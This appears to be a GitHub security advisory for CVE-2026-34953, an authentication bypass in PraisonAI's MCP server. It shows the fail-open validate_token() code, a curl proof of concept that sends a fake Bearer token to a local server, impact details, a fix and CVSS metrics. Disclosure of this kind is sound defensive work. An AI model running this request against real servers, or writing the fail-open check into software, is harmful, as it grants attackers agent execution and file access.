Skip to content

PraisonAI Has Authentication Bypass via OAuthManager.validate_token()

Critical severity GitHub Reviewed Published Mar 31, 2026 in MervinPraison/PraisonAI • Updated Apr 6, 2026

Package

pip praisonai (pip)

Affected versions

<= 4.5.96

Patched versions

4.5.97

Description

Summary

OAuthManager.validate_token() returns True for any token not found in its internal store, which is empty by default. Any HTTP request to the MCP server with an arbitrary Bearer token is treated as authenticated, granting full access to all registered tools and agent capabilities.

Details

oauth.py:364 (source) -> oauth.py:374 (loop miss) -> oauth.py:381 (sink)

# source
def validate_token(self, token: str) -> bool:
    for stored_token in self._tokens.values():
        if stored_token.access_token == token:
            return not stored_token.is_expired()

# sink -- _tokens is empty by default, loop never executes, falls through
    return True

PoC

# install: pip install -e src/praisonai
# start server: praisonai mcp serve --transport http-stream --port 8080

curl -s -X POST http://127.0.0.1:8080/mcp \
  -H "Authorization: Bearer fake_token_abc123" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"tools/list","id":1}'

# expected output: 200 OK with full tool list (50+ tools)
# including praisonai.agent.run, praisonai.workflow.run, praisonai.containers.file_write

Impact

Any unauthenticated attacker with network access to the MCP HTTP server can call all registered tools including agent execution, workflow runs, container file read/write, and skill loading. The server binds to 0.0.0.0 by default with no API key required.

Suggested Fix

def validate_token(self, token: str) -> bool:
    for stored_token in self._tokens.values():
        if stored_token.access_token == token:
            return not stored_token.is_expired()
    # Unknown tokens must be rejected.
    # For external/JWT tokens, call the introspection endpoint here before returning.
    return False

References

@MervinPraison MervinPraison published to MervinPraison/PraisonAI Mar 31, 2026
Published to the GitHub Advisory Database Apr 1, 2026
Reviewed Apr 1, 2026
Published by the National Vulnerability Database Apr 3, 2026
Last updated Apr 6, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(8th percentile)

Weaknesses

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

CVE ID

CVE-2026-34953

GHSA ID

GHSA-98f9-fqg5-hvq5

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.